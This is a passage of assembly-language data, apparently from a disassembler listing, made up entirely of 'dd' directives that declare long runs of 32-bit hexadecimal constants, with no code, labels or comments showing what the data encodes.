		dd 393E86E7h, 748182E0h, 3D45B50Fh, 49B1A079h, 0E6D3759Fh
		dd 849B0491h, 0E0F4816Fh, 0C7007BA0h, 419DEDE8h, 0A124BBh
		dd 858F80E7h, 0FB46440Fh, 0EB5EF21Fh, 0C2238440h, 52034Ah
		dd 0B8C3334Bh, 20694C9Dh, 2FF88F00h, 0A01A895h,	0A92101A2h
		dd 932B7342h, 0EC289FC0h, 0A0DE4000h, 7C8D2F9h,	91A67FB1h
		dd 9BA260C1h, 15126E37h, 44B4F230h, 0AE9338D4h,	7B6BF670h
		dd 583300BAh, 71D6D86Fh, 5303D7B5h, 77F88CB7h, 3C0C80D3h
		dd 1DC8005Fh, 0D1F45902h, 0E17144D5h, 0DBFAA504h, 0B4C0A372h
		dd 4226C6Bh, 0C31756E0h, 63DCB4B1h, 81420F30h, 8CA6D5h
		dd 8F46D78Bh, 6BEFF9B6h, 0DF227400h, 0D3F1E07Eh, 0C344388Ah
		dd 0A796B580h, 6D1D63B3h, 8C01DFB0h, 53A46BDFh,	15F07549h
		dd 5D1A00F9h, 6634DB4Ah, 0E70028B0h, 8EB1B27Fh,	141E46Dh
		dd 0C3FD29E1h, 0D05CAECFh, 840122D4h, 276BA21Fh, 0B4FC03A0h
		dd 0A4E81F6Ch, 6EDB8D13h, 1DB19D38h, 0DD9A8F40h, 2C14ECAEh
		dd 0C44F97h, 0F1116A58h, 3400A889h, 0B1BE7851h,	1F74E5EFh
		dd 80585C71h, 0FFFE3AAFh, 8A0048A2h, 88EEBC03h,	9D628Ch
		dd 15A31979h, 30453256h, 16959A00h, 0EC63802Bh,	409884h
		dd 86002B2h, 9D64E303h,	80E49139h, 8662F90Dh, 78EF38h
		dd 9A56C3A5h, 0B3351F23h, 470E6DF8h, 60DE8FE5h,	28517DEAh
		dd 0FF6500B8h, 6E8B4A9Ch, 0AC004984h, 0C5BDFB27h, 9FB548h
		dd 7F30BC36h, 0E772F644h, 0D9177D01h, 4BDC5E91h, 0E0008438h
		dd 71B1BD57h, 8E0DA9B0h, 880BCECh, 7220402Eh, 0F828B1C5h
		dd 3AF7DA01h, 26EF3635h, 7B7C8F4h, 74EAB8ACh, 0E66AC088h
		dd 780037E3h, 14F70BC9h
		dd 0D24CE26Eh, 0E39CB430h, 76600AEAh, 47BE1D30h, 7520C756h
		dd 0E61E8127h, 0D2109E73h, 105AC5C9h, 9A8038h, 0AC56E41Dh
		dd 6463F121h, 274B2274h, 8619B8C0h, 0C413001Dh,	8ADFDBCEh
		dd 3801E7C6h, 7472B25Ch, 0D1894168h, 420B30Fh, 9625196Dh
		dd 0AD51200h, 0E1F7474Ah, 9CA80176h, 74698C68h,	9D94486Dh
		dd 91F27C05h, 0FA0076C8h, 55B2D935h, 32D600D5h,	0D074123h
		dd 1D0E43EAh, 407134A3h, 0FAE0BAA2h, 85B600AAh,	1E90A75Dh
		dd 8625DDD4h, 0FCF64Fh,	0AD3AE46Ah, 2C00D5B8h, 0E749A08Ch
		dd 51A010Dh, 342F3CBFh,	14E0C058h, 600042BEh, 0E0CDA283h
		dd 1DAB4AB6h, 0EA9BDEh,	81463D92h, 27031EDBh, 56D58CBCh
		dd 0E01A83EFh, 7CE3FB19h, 34260C25h, 6761B1E6h,	6040D1Eh
		dd 9A5A0F00h, 0F25F2179h, 1F5900A5h, 1076C50Ch,	0FF0E5BC3h
		dd 0D806C422h, 3EF8C49h, 7D29CFF2h, 51000EE5h, 90FBB8D2h
		dd 0FB0ADh, 0BDD4C5ABh,	39A5F45Eh, 5B3AC400h, 0FB25147Bh
		dd 3DB501F1h, 8C33E613h, 162E20BFh, 0FAC8BE00h,	0AC370ADAh
		dd 0F3B0009Ah, 52F7FD19h, 4008095h, 8C6E4670h, 3154DC14h
		dd 0CBF86AEDh, 0B7B61753h, 2EBE0C19h, 4B1FA1Bh,	5831E703h
		dd 0C7D6BA16h, 14B3EA40h, 0BF744Bh, 0E019C601h,	1C5868FBh
		dd 4300B07Bh, 4F6255FEh, 0C27E897h, 1BA2D05Ch, 21195784h
		dd 0FE10D193h, 1683044Bh, 100F73C0h, 2365B63h, 402B01DCh
		dd 0CAEAE6h, 916230B7h,	643E877Ah, 821451Ch, 0EB855540h
		dd 1F8A67ACh, 1D5992ADh, 5499C037h, 17D8570Ch, 8402A609h
		dd 1AEE03FFh, 8264A087h, 79F7368h, 0D66FDC8Ah, 7499E0D0h
		dd 0BC00DAC6h, 9A576DEAh, 6A310Eh, 0F2FA4D7Eh, 16D49CECh
		dd 4199C60Ch, 739248h, 0CA316D0Fh, 0A0A76ED0h, 40E84272h
		dd 0BE535613h, 8DC33300h, 510684h, 9754D922h, 0CFC277C8h
		dd 827E7BFEh, 0AC96F000h, 363E37F3h, 0AB420062h, 0ADE08388h
		dd 24269A59h, 1D00F7E3h, 5E8E67F4h, 0E5B4004Eh,	4898D607h
		dd 100168A7h, 0A4ACC1AEh, 22ECDCC8h, 0BBB089h, 84648002h
		dd 565361C7h, 0E033DF01h, 7A933ACAh, 1D3741C4h,	4071B50Fh
		dd 8D260DB4h, 0AE009580h, 0DFC70731h, 901A4052h, 8BF683h
		dd 90ECAB97h, 3C75FFA0h, 0A272113h, 0EA4101BAh,	404F38AAh
		dd 0C32F1BE4h, 88B4EC00h, 9DFB4A94h, 2891027Fh,	71515025h
		dd 9A0033E3h, 99482A90h, 6616247h, 319BE1F8h, 59105094h
		dd 0E6001AADh, 0D5ED352Eh, 1400CD55h, 0FD467B39h, 0CE5B58h
		dd 0D24D8301h, 0F312B103h, 3F004577h, 9A9C0744h, 5CCDC1h
		dd 0D196A51Dh, 0ABE020CCh, 2852A0Ch, 0C67AAAh, 0ED099BCAh
		dd 1352B25Bh, 0F110C312h, 0C04F1F0Fh, 690E1EEEh, 0AC4D0219h
		dd 0DF413897h, 6AE7FCE0h, 5D885A00h, 821E379Eh,	70350048h
		dd 0F4850720h, 7D1E4174h, 0CF40B445h, 0D94C2D1h, 0BA1314D4h
		dd 0B839B88Eh, 0F1049000h, 0EC522E41h, 32188F60h, 0A5801F5h
		dd 70B4BAD7h, 0DEFA0488h, 0AEE2004Eh, 0F6A337Ah, 0F6AF7F9Eh
		dd 55B0B780h, 60483B2Fh, 0C13C0060h, 0BF276740h, 0E2410090h
		dd 89AC44F2h, 3E00EBD0h, 0BB066355h, 8E346h, 0F81530FDh
		dd 6478B337h, 68E04A00h, 0D2DE0DEDh, 115201E2h,	0FB389B03h
		dd 2B7C60FAh, 40F256E2h, 74E75B00h, 967D174Eh, 998800F0h
		dd 556413C7h, 0C502A4F3h, 4C70A3FAh, 60776028h,	2779588Ah
		dd 56EB7518h, 291FCCEAh, 0B8789D6h, 4320E909h, 0F551E34Eh
		dd 70411434h, 0F3ED2804h, 0DB760090h, 7C85E563h, 84013453h
		dd 2F6765AFh, 0CDD8EA72h, 61CA7CC4h, 98E531C9h,	69288450h
		dd 40900CBCh, 0C95BA6h,	0F3D0837Eh, 214B213h, 0E2E3D0Fh
		dd 0C03AE09Dh, 7BC347h,	82DE7D52h, 29653879h, 5E8B2300h
		dd 2C70216Ch, 0E11D0341h, 0F955882Fh, 292D2680h, 2E7BC11Ch
		dd 8D5AE8C0h, 0A6C491Ch, 1FFC62CAh, 9D5500E8h, 34E34758h
		dd 0D3C9A113h, 872C8840h, 992353Fh, 0ABCFA844h,	0C8409C00h
		dd 8274E285h, 5A8F948h,	33C627A0h, 739803C0h, 5B9600D2h
		dd 9D8049CDh, 0FF0072BBh, 0C5E86D83h, 0DB8A95h,	75503E41h
		dd 76A64AECh, 0AD7FFD00h, 3D396987h, 0EA7E8Dh, 0B2526779h
		dd 8038C2B9h, 0B30BF2FAh, 2FC36Dh, 9A48328Dh, 304F0084h
		dd 2EB4E73Ah, 700BC481h, 0BC5341h, 0DF8C76BEh, 5DF291h
		dd 74DDD08Eh, 0B68A3DE5h, 265B9A07h, 536048DCh,	6A94D25h
		dd 0CE5CC710h, 0A100210Ch, 9640A8Bh, 0F7DB8Eh, 0C7D56D47h
		dd 0B7F21A1Fh, 4B94D600h, 43321046h, 0AFBD0EE3h, 5E20E768h
		dd 0D0C10B83h, 972D580h, 706B5DCEh, 3179C00h, 3A2CDD63h
		dd 54002957h, 0F9363C94h, 85A1005Eh, 226AD0Bh, 38704C1Fh
		dd 0C3D3F00h, 426A34C6h, 5A7B00B1h, 0FBBD1C8Ch,	3102463Ch
		dd 35D090AFh, 5F53E0BBh, 0FFC61CD4h, 9CAA4EA5h,	0BDA79A00h
		dd 0CE78F6BAh, 96951E00h, 8BB8EE27h, 1DEA0079h,	9B8D2D2Bh
		dd 10191A8h, 0B53B1C97h, 1BF40356h, 778C0051h, 997D826Eh
		dd 0F700FB52h, 43DA604Ah, 7881CFh, 2ADE6731h, 87B41FFDh
		dd 0A4489D7Dh, 8C6B0024h, 986A853Ah, 0DE30033h,	1F0AE6A6h
		dd 0B56045B8h, 0FE5FCD10h, 143952D6h, 0C0EB2614h, 2CC5007Eh
		dd 945219A9h, 41CD251h,	0CC66A733h, 0B0CD2B00h,	90FAB920h
		dd 1BA57F48h, 48A3D750h, 0D4A490EDh, 0CB1C9EF0h, 75C08C4Ah
		dd 0ECEB5685h, 49C3004Eh, 0BA2DD312h, 0FFFC0FAAh, 0DC299700h
		dd 0FA2E9AC7h, 84B40EBEh, 91E68572h, 59002057h,	0D61729B8h
		dd 0F301954h, 5E601E4Eh, 3EBAA720h, 5011D0Fh, 267FA157h
		dd 705378h, 5FDA00F5h, 0A38A4A0Ch, 0BE009DAAh, 0B26DFAE2h
		dd 3D396FBh, 20B7B8B4h,	31E01A0Ch, 0C00042B5h, 8015D792h
		dd 363FC6Dh, 0E3AD069Dh, 0C1E59E30h, 0E99A6F2Bh, 0F91C7084h
		dd 91F28A01h, 51742561h, 836860h, 0AB844479h, 2B2758AAh
		dd 0D6F31A03h, 0E8083B6Fh, 9D8A087h, 0F2EB68F5h, 73DEC20h
		dd 3A07481Dh, 7B5F2DBEh, 0B908E57h, 846F6Dh, 0FE7CB275h
		dd 0A16E6846h, 199B5B00h, 0ED424193h, 6A3F0399h, 717B1E76h
		dd 65F9FDB0h, 563CD700h, 0DFDBB494h, 0BEEC4Bh, 1A1ED118h
		dd 7761D402h, 0CEF05703h, 0D0AF34AEh, 76830B7Bh, 0A9880060h
		dd 79288FB6h, 35F808E8h, 0DB70D300h, 0FBAC1D2Fh, 89C800EEh
		dd 0A43B8CCAh, 8D0098ADh, 75D61820h, 0C57AD2h, 0A1350344h
		dd 0CA01E770h, 0FD9EF5Ch, 0E461376Fh, 8A04B69h,	9F01D9Fh
		dd 0DFEB417Ah, 0E0FA90C4h, 0AE132F69h, 2701D93Bh, 21BC380Fh
		dd 900212C4h, 64910004h, 9FF16878h, 0E81D7F23h,	0A6AEAD4Bh
		dd 0B8E00Eh, 0EBDB0733h, 922CFA19h, 93760260h, 9B92F06Fh
		dd 0F044850h, 1C96D743h, 3B1E5Eh, 0C4320AADh, 0F1E276BCh
		dd 0D92485B8h, 0F0079B87h, 35803D44h, 0F008F8B1h, 458C0F06h
		dd 36001849h, 283C5CC6h, 0A9543300h, 0D857D732h, 934A00ABh
		dd 0A673469Dh, 470E6761h, 7D8F0813h, 3972EE8Ch,	12C80F37h
		dd 9035D15Eh, 0DE32F00Bh, 0BB5C1420h, 75009F6Dh, 6BA9934Ch
		dd 0A0B6F08Eh, 0A1D55E10h, 0A880F21Ch, 0C6B22701h, 8A051AA1h
		dd 0F4C39D57h, 854D1380h, 0FAA6001Dh, 61B50428h, 43EC925Ch
		dd 0C2963700h, 8D87C64Ch, 277F03B3h, 0D22A34F0h, 80C89BF0h
		dd 7C8FE100h, 827DF5C2h, 4DC50784h, 31892E58h, 0D46FCF81h
		dd 0A0255B7h, 121D4C71h, 6A074045h, 83A20136h, 0C0416275h
		dd 0B34FC7Bh, 26D43A00h
		dd 0E67FEF42h, 36A40177h, 69DF9A81h, 5FB5C013h,	0F678A200h
		dd 9334EC99h, 31050044h, 0E577248Fh, 8003872h, 9B366ED2h
		dd 33F82F2h, 551E1C76h,	0A9B8D986h, 0B30EBBB2h,	40572DD4h
		dd 0FDC8DA7h, 0C56404BCh, 0C1AB714Ah, 0F2D67222h, 33BD3BE0h
		dd 12284D7Ch, 0AB00B084h, 0B3C58A7h, 49E1DCh, 3283076Dh
		dd 67778775h, 0C4E4F92Ah, 40E8FF0Fh, 23C0036Fh,	0A190B960h
		dd 0E88A92C3h, 3BA2E8h,	0C85F1D9Bh, 0CFA93D34h,	602409C9h
		dd 0F05BA8h, 1F9CEC1Dh,	65F820E4h, 7B90D503h, 0FD6A49h
		dd 0C5C607A9h, 0F991BD2Fh, 19A77601h, 92A6FFE4h, 0E86BE0h
		dd 0C7B00725h, 93E9AE90h, 11945C00h, 19703784h,	0CB410001h
		dd 611A42C5h, 20E8BBA1h, 0E5A3041Ch, 0A33D64Ch,	0B13F023h
		dd 0B4B3FFC7h, 9111D300h, 481F9403h, 55009036h,	0AC0C17A3h
		dd 0CEBB0029h, 84CB6377h, 6B00DFE0h, 0F8EDEC3Ah, 2EABC9EBh
		dd 71DADBh, 8620724Bh, 150065D1h, 0F534595Ch, 15EEA90h
		dd 0F60646D4h, 6AD228E2h, 18668800h, 0BB8BC5h, 85FB5E4Ah
		dd 0B935E6CCh, 0E5D66707h, 7F60B0D3h, 277A97h, 30E4A083h
		dd 62C546FCh, 652EE200h, 3CDF5B0Fh, 2CDA0F70h, 268063C4h
		dd 2EE1A78Ch, 0F5281AF0h, 910F1815h, 7E1842h, 0BC797894h
		dd 0B9E4C0h, 409C2BA7h,	0D032C6FAh, 0E32AEC0Ah,	0E0D01449h
		dd 0D98E1C83h, 0EB600D2h, 63E6DD73h, 8A14680Ch,	0A47078h
		dd 5826B57Dh, 0DDB1660h, 0D7085066h, 4E2E00A8h,	0F92B407h
		dd 9E00B70Ah, 83808C58h, 3EF59F47h, 0E2068956h,	307578BCh
		dd 4400C47Eh, 8626AEF1h, 3AE38CC9h, 9F30C835h, 0F16C3121h
		dd 47BCE90Fh, 1A801C46h, 0A30F1BDAh, 703800BBh,	7883209Eh
		dd 9F182DB0h, 6338F57Bh, 0CA240102h, 0EF21AF7Ch, 9529E58Fh
		dd 3EAC2708h, 53CA0135h, 9779A874h, 0C78954D4h,	420DC4E9h
		dd 54A07B29h, 26A1F15Fh, 3E228E46h, 0F16B4E00h,	3C69FBFEh
		dd 7B2C0042h, 0FC3BDDE0h, 0CB14BC83h, 42805717h, 31A0B22Ch
		dd 5467F499h, 0AADCA10Eh, 980270A4h, 2DD90180h,	0AE0E1448h
		dd 0F744B800h, 0ADF63012h, 6031744Ch, 962B21E5h, 0AB0739B8h
		dd 55DC9EB4h, 4CCB27B0h, 0F550C2DFh, 84A56BBFh,	83A80143h
		dd 20E95B1Fh, 0ED00AD48h, 29338067h, 0C1F6D5h, 0D39A2EFDh
		dd 7ACD5CB2h, 74A98A1Dh, 8384D240h, 0F45A6A2h, 0D15A19E9h
		dd 8CBA6A80h, 79FA430Ah, 0C9224200h, 4DAC606Ch,	238D01C2h
		dd 0A64E9A44h, 112AF059h, 5C7DE000h, 0E7EAAD9Dh, 4D9701A5h
		dd 32AED8E4h, 8B1081E6h, 0A0BF68BEh, 1D23C9D0h,	1ACA26ABh
		dd 60C03104h, 1A069268h, 2CCF98A6h, 314B0719h, 8C2B965Dh
		dd 28009FECh, 0C8B2771Fh, 39C4A016h, 1914B710h,	500146Dh
		dd 3961AAF1h, 4D004B36h, 2E019017h, 294010A1h, 14CDAE4h
		dd 0A0C16924h, 887F18EEh, 6800F7E8h, 61EECC31h,	270A2D0h
		dd 0B62F9806h, 0A5049418h, 0E476BEC1h, 304DC2F0h, 0C51897A9h
		dd 0BF0172BCh, 0DBF72D02h, 898E22Ah, 64E821CCh,	756A7100h
		dd 694BDDEFh, 7EC9F92Ch, 30B72C40h, 0CE3200A8h,	16AA884Ah
		dd 0FFE886F2h, 38D221C0h, 36AEDA8h, 0F067F3B3h,	0AED99FAFh
		dd 27C18078h, 36532F8Bh, 0FADC0041h, 8D708ACBh,	39009073h
		dd 6B5CCAEDh, 545B1922h, 6062A0C3h, 1F561FBh, 0F61F3DBEh
		dd 53800B90h, 6CE8225Eh, 41320E1Dh, 2F205624h, 0AD72894Dh
		dd 448D3E00h, 31E08E01h, 2BAC0CB3h, 0A5F1C664h,	0CC6A4C00h
		dd 0AE868ACDh, 0AC5F0004h, 2DE26071h, 5C182F10h, 2BB8E85Dh
		dd 0CC9F1D92h, 778A1D16h, 0C846C341h, 0EAC26180h, 645C29C0h
		dd 283512ACh, 0F2840CCCh, 0E9530001h, 0D2D32970h, 4C00422Ch
		dd 9660AEC9h, 182BE107h, 0F0A6A534h, 0A1C0842Fh, 0D220232Ah
		dd 1C7F01D9h, 60AF00Ch,	94E84835h, 0C668A806h, 919862h
		dd 0FB73E87Bh, 5578FA18h, 1DED4700h, 0C76FEFEBh, 0C950002Ah
		dd 0A897A611h, 380001BDh, 6BA12686h, 0B661E18h,	94D6C65Bh
		dd 41E1790Ch, 29DD270Fh, 3B63E033h, 30A1F7C6h, 40212DADh
		dd 0FA0ED3D5h, 0C09CEAABh, 0B12AF9C0h, 3F9A008Dh, 7B6813FFh
		dd 20243C31h, 0BD0284CFh, 48AE97D5h, 3ECD2B78h,	35BF5A6Dh
		dd 1146F900h, 0BE419C20h, 2838AFFCh, 0EA0A00CDh, 1D15C0F1h
		dd 5B1A0273h, 0FF2AB535h, 26067720h, 0A8F104B0h, 824A3B4Ch
		dd 0DB20BED4h, 8E9D6h, 8F867C41h, 0BDCEFD51h, 66702406h
		dd 1D502B30h, 0BDA60C65h, 40BBEE80h, 50D84562h,	0C10789FCh
		dd 3DF34F9Dh, 81691A31h, 29F1F4FCh, 0F504479Eh,	0CC71EA86h
		dd 4C2B1810h, 25E9D062h, 0F000DBB0h, 58F602B7h,	30A56C01h
		dd 362872DEh, 0DC10D0EFh, 0F684B5E9h, 0DF8E00F2h, 7392C84h
		dd 628D7473h, 15A08FAFh, 6AC26C54h, 3E387D00h, 0C84743FCh
		dd 82CB012Eh, 6911A688h, 3B5EF041h, 3348221Fh, 0A59ABE01h
		dd 72EC3057h, 27A001B1h, 0D175FCF1h, 97CAF0D0h,	744E605h
		dd 6B8024B2h, 758A87CEh, 0C750006h, 0DE5A6CE9h,	0D5002D3Ah
		dd 0D67E9596h, 623CACh,	857565F6h, 201EA2D2h, 4B93B81Dh
		dd 434E45C0h, 0BBA668h,	0A18F7D87h, 0D554C108h,	1D2AF8E5h
		dd 1F58AE00h, 0C4E075D7h, 379A009Eh, 0E1A04A59h, 11FA7BFh
		dd 54C0EF06h, 0F6443F62h, 2CDC0074h, 0F3F4B91Fh, 0AF004973h
		dd 0A657630Ah, 1613EEAh, 0E5FD04E4h, 0C4D1C339h, 0AF03285Ah
		dd 6CB4A3EDh, 7B0F9058h, 3003000Ch, 90F54068h, 89021588h
		dd 0AB5E4338h, 0B726050h, 6D65180Dh, 0C8B31962h, 0E0288500h
		dd 87A10F51h, 399DE226h, 3E804F34h, 0A90CC402h,	0CF00D9FBh
		dd 3ED8D65h, 0F7C3E9h, 0A40E3F88h, 48075332h, 5428CB09h
		dd 21FCA2h, 0F40B0A7Eh,	7C3ED33Dh, 806A0F40h, 85C1C06Ch
		dd 4936180Eh, 0F76341Eh, 6A9DBB70h, 882632E0h, 210FD555h
		dd 0E00BA83Dh, 0D9F1E940h, 5823FAA7h, 0C0005ABBh, 0F30F2A6Eh
		dd 0D10D09EBh, 56056C02h, 5A68D0h, 0BD752B3Ah, 10120151h
		dd 6DE8DB00h, 791745Fh,	0B52702D3h, 4618ABFBh, 0E268D448h
		dd 3700F274h, 616F0204h, 69708BEBh, 13009176h, 95C78047h
		dd 0A3FE10C2h, 635FE0ADh, 0FDB92A5Fh, 0A7750734h, 0E6CC7A4Bh
		dd 0FF0041D4h, 7C89E146h, 0F973EFh, 0B9DB696Ch,	0BFC2BBA3h
		dd 0CB25E00h, 8574BE14h, 165A0F12h, 40DD2450h, 5EE4DD69h
		dd 25012261h, 7663FA13h, 0CF301FA0h, 2FB887h, 61116EA6h
		dd 3D5B7BFh, 0AAD20600h, 0BA4B3ABEh, 414C1CF5h,	0C358C186h
		dd 0EC20E8C9h, 0EA280583h, 86FD8046h, 8B4991F8h, 50410FB0h
		dd 0B221AEA2h, 8010F4FBh, 87F20CC9h, 0FCC15BAh,	14FEEAA2h
		dd 8432D421h, 90E4506Fh, 0E20EC8A6h, 20CFAFA2h,	0F7E3755Fh
		dd 0C52F033Bh, 520246BDh, 0EB44B3E8h, 17031302h, 40F3C33Ch
		dd 846F2608h, 0E4083003h, 0B8CC2160h, 1D07B8h, 16253DE2h
		dd 80C1758Bh, 8A57103h,	633B47h, 95B58110h, 0B2A21EC8h
		dd 0CE04F3Ch, 3102896Bh, 91F7014Eh, 315A159Dh, 0B8DC4CFEh
		dd 809FD426h, 0FFB7C400h, 9A46AFCh, 0FD206EFEh,	0C7DE6800h
		dd 80E5AC24h, 4A88D590h, 2923D04h, 73DC03EFh, 0E78A1CBAh
		dd 9EB88104h, 24BB698Eh, 0C200D54Ch, 0B3BE807Ch, 2FB016h
		dd 6E9F191Fh, 66740EC1h, 8236B05h, 0A8704503h, 9E578B7h
		dd 0DB011096h, 9AAD4A2h, 2B1168E0h, 95E450A8h, 15411F00h
		dd 0A2C04593h, 5DBA1469h, 8900E08Ah, 0A4503D28h, 0B0EF427h
		dd 41A8E671h, 0DDCE7543h
		dd 9E958451h, 0E3040108h, 5FC7AA55h, 0A6A35380h, 6D9F2410h
		dd 54B5C0D8h, 1B4D6040h, 0B970006Eh, 144D31D0h,	0BD38A158h
		dd 6F33D8FFh, 90A600ABh, 5F6B73F7h, 0A7006580h,	0C1E38A38h
		dd 212FADh, 2D479623h, 0A118CC77h, 0A9490C7h, 7022BEB0h
		dd 0DBF8A838h, 133503B3h, 32154B8Fh, 8609F9B0h,	9000287Eh
		dd 8E2931BDh, 248C7462h, 60580122h, 210C7261h, 9A1F6300h
		dd 97F557C8h, 88549B83h, 5914F3CEh, 8C130097h, 0DCAA27CDh
		dd 0CCDD07B6h, 0B76F7E56h, 0B25D007Ch, 0E8049047h, 63C767BDh
		dd 0B4758480h, 872B00C1h, 0CA6E1ABBh, 6B00487Eh, 363E95Ah
		dd 1DDC0Bh, 0B9C78AFDh,	15332A9Dh, 2C198404h, 48C071B0h
		dd 0C07DBF21h, 703EB6F0h, 0A8A0C217h, 0AD3B3782h, 0E4652476h
		dd 90E37A09h, 923A3464h, 9429003Ch, 0C7B961A0h,	9A30541Eh
		dd 8496186Dh, 33E201C4h, 49E72386h, 2A89F8BCh, 6D56400h
		dd 0A96DE9C7h, 2DED12A1h, 0C2C44456h, 0D608830Dh, 991B5BB0h
		dd 5C8EFA00h, 31E60430h, 0C018F072h, 0D1A476E0h, 41ECACFFh
		dd 0CD004675h, 7955975Fh, 0CB0B392h, 0B9C06BCh,	0A01C1E18h
		dd 0E4C3270Eh, 87EB7E2Dh, 7588ECF0h, 14550059h,	1C785179h
		dd 760724F2h, 0AD91FF3Bh, 6C86A800h, 0E2A50030h, 0D2C1D42h
		dd 0D0005E23h, 0C9F492ABh, 987D99BCh, 3AD500BCh, 65754CD1h
		dd 0C301190Fh, 3D97C602h, 0D5303E01h, 93A50172h, 75BE1DF6h
		dd 0E5C7CC22h, 767A5E00h, 1936D518h, 3ED89850h,	5F0310CEh
		dd 15D492B5h, 63EE58C8h, 86E78904h, 0A490A9E1h,	301FEFD7h
		dd 104898D3h, 34057D4Ah, 0EB8225Ah, 0E2C19090h,	0EA4F0AFFh
		dd 3B423BCh, 0B204AD89h, 38F53590h, 6F074BE6h, 0F191E701h
		dd 0D1F6D340h, 711A00C1h, 0C494BE77h, 1000AB96h, 0F1B4B3C8h
		dd 9CCAB8h, 332DC2FBh, 6EC1C958h, 0A70F5602h, 4086FF28h
		dd 0F246CA44h, 1909002Eh, 0CF3BB6E0h, 0FF166FC4h, 91004B49h
		dd 0E4A82947h, 412B0026h, 0D21C9D35h, 0CE00D00Bh, 80A57FA0h
		dd 0C4D3F40h, 0F211EF5Bh, 5E012CF8h, 35ADAE03h,	8A40B9B1h
		dd 0F645A1E5h, 0EA9200BBh, 775B00Dh, 16FCEE5Ah,	7148E317h
		dd 8C38AC04h, 1D842CC0h, 0D86A0006h, 31BCD7DDh,	1B2E9FBDh
		dd 97281D8Bh, 329BB081h, 8CE010Ch, 3431B6BDh, 145A7EECh
		dd 0A8C30E68h, 2165EA0Fh, 73464AE0h, 4F4DB704h,	0FD6D1C2Ch
		dd 33ECD944h, 32110CD0h, 80B8A20Ch, 5C2A2D94h, 0AFC4007Eh
		dd 0EC99CC0Fh, 0BF26FC25h, 3B8080A8h, 8737CB72h, 0E30C07A3h
		dd 0C021DB29h, 0B8B7A490h, 492406F4h, 0EB0074C9h, 0AAFF2C6Ch
		dd 11EC9BA5h, 5E0D00AEh, 176FA3A4h, 4CA61866h, 5C983831h
		dd 0E7EC9407h, 6175308Dh, 17A29080h, 9BF80006h,	0FAE33F7h
		dd 8016DD87h, 4506ADE6h, 1082F9h, 93685076h, 0A3D559B9h
		dd 702E8F00h, 0EE01B1D0h, 647E58BCh, 5018C4Ch, 8CAE1A3Ch
		dd 0A91434CBh, 0BF413700h, 0DD721F2Eh, 243671A6h, 9587BEh
		dd 3DBAEF8Fh, 455DE85Fh, 5A007EA8h, 299825EAh, 0A80A61CDh
		dd 75E4C8B0h, 2D1B0283h, 5CBECFF2h, 0BF036C68h,	0B203547Eh
		dd 44C6ABF6h, 0E18007Eh, 71DA6636h, 0BB001774h,	0C649F885h
		dd 519E6E4h, 724539ADh,	0E81C89B9h, 5600704Ch, 0A425712Bh
		dd 13D8EF1Eh, 40CE26F9h, 853EABD0h, 0D15813E0h,	84D53B59h
		dd 4E445004h, 870FA4C8h, 58673607h, 0C113D5F0h,	707A17A6h
		dd 57002071h, 174C2150h, 535E0406h, 0D231B4h, 0D0C66Dh
		dd 0EAF8941Eh, 0BDC00EB5h, 0CA0380A4h, 86DA3CE5h, 7E5200EFh
		dd 0FDB40474h, 1B0CDCF2h, 89381A73h, 697F3Ch, 0C04087B7h
		dd 0A0428C61h, 7D50100Fh, 65A1022Dh, 10C626h, 2A089A91h
		dd 0F60E64F2h, 2135D717h, 68AB8840h, 267AED6Ch,	0C0BC71h
		dd 9890D2Dh, 0C24928F3h, 11180070h, 909B1AB9h, 92BE0016h
		dd 3AC1D22Ch, 9370E205h, 63288F6Fh, 0B88323ADh,	5F72110h
		dd 20DCDB51h, 0E3C9CBBh, 5DEC1D0Fh, 0DDFDE7ABh,	0C7F34A21h
		dd 0E447420h, 5A6A60A6h, 5D0ADF60h, 270146D5h, 3F80C0C5h
		dd 2880CB15h, 6B34FD9Fh, 0F101D51Ah, 99033DD1h,	77D03A5Ah
		dd 0ADDF03EFh, 147BAE80h, 143A1E0h, 96F1B907h, 0F000E690h
		dd 28E248A3h, 0D4F3ADh,	65CFDE5Fh, 2D60A4D7h, 0FF6E8400h
		dd 294523B3h, 92C000Bh,	7383B793h, 69FCB88Ch, 250E6D01h
		dd 844C2738h, 436B8540h, 0CE6100F3h, 69F9811Ah,	6C00331Bh
		dd 37A25389h, 0D82EF5h,	2D48EEEAh, 8B0A827Bh, 24F9D53Ah
		dd 1B03D260h, 0A1CECF0Eh, 0C7C0A074h, 0BC3D12C0h, 0AC5440D6h
		dd 5ACFB483h, 9CDFC100h, 296A9CBh, 0D791DB6h, 6F120040h
		dd 0E8E03A94h, 80E11B0Ch, 1EBA31B7h, 80B202D5h,	86DC981Ch
		dd 0C300B905h, 0F04D7692h, 72CCB59Ch, 57020FA0h, 82605FFDh
		dd 0C35CDE7h, 69877513h, 0C3006F13h, 9C7D1312h,	1A420131h
		dd 9E3507A7h, 7517F4BAh, 4DA18097h, 1E9D6BEh, 45A783ECh
		dd 0E0CC6922h, 9818F540h, 0FA525C47h, 9B890057h, 631FBCDFh
		dd 8B07B1E7h, 0D3EBC951h, 0EF35E0EEh, 36CA62h, 70CE5881h
		dd 2E08E038h, 0FF88E207h, 200011D7h, 4DF74F2Dh,	0F50FEC73h
		dd 0BE608256h, 898CCFE7h, 57DF0500h, 1434C7DAh,	37D7EA5h
		dd 118B6DA9h, 0DD80D61Eh, 0BB008467h, 786EA217h, 6F7DB8h
		dd 0F221E175h, 0F383066h, 148EE207h, 0AC253E5Eh, 11E0881h
		dd 0EAC6F5C0h, 0ABCC02D2h, 17DA97C2h, 5C01E458h, 0DC7F4F21h
		dd 0C8FC0F39h, 0F4573898h, 2D5D7700h, 0F7C151D9h, 6D620100h
		dd 69300A1Eh, 25BA12F1h, 6F5000C7h, 0E72871AEh,	0B0FF7407h
		dd 0EA03E29h, 1794F3h, 93597B86h, 0FE7757E4h, 3A0F1500h
		dd 8709E1Dh, 1F5C7C74h,	41F802F2h, 7689E303h, 1B56F431h
		dd 193F4309h, 0BD5CC970h, 38C534FCh, 6000BCD5h,	0DD37FA0Ch
		dd 0F800D0B9h, 84BFD60Ah, 87DFF7h, 8C0F3291h, 0A44E2D37h
		dd 7E4AE30Fh, 594B205Fh, 20E241Bh, 6CF588FBh, 68C03B7Fh
		dd 5600536Ah, 76BC36A8h, 0B4CBBAh, 23702C5Ah, 9C05D79h
		dd 0A2CC6100h, 0C2C332C5h, 66B004Ah, 4BC10E17h,	2A1342C6h
		dd 1600CDB6h, 0D055C9AAh, 0A06B005Dh, 76C7D782h, 0A5071074h
		dd 75065ECEh, 19BB4870h, 276000B1h, 9185A96Ch, 98010A22h
		dd 646BC079h, 0E870378Dh, 0A69B1E1Dh, 81400597h, 9AC018Bh
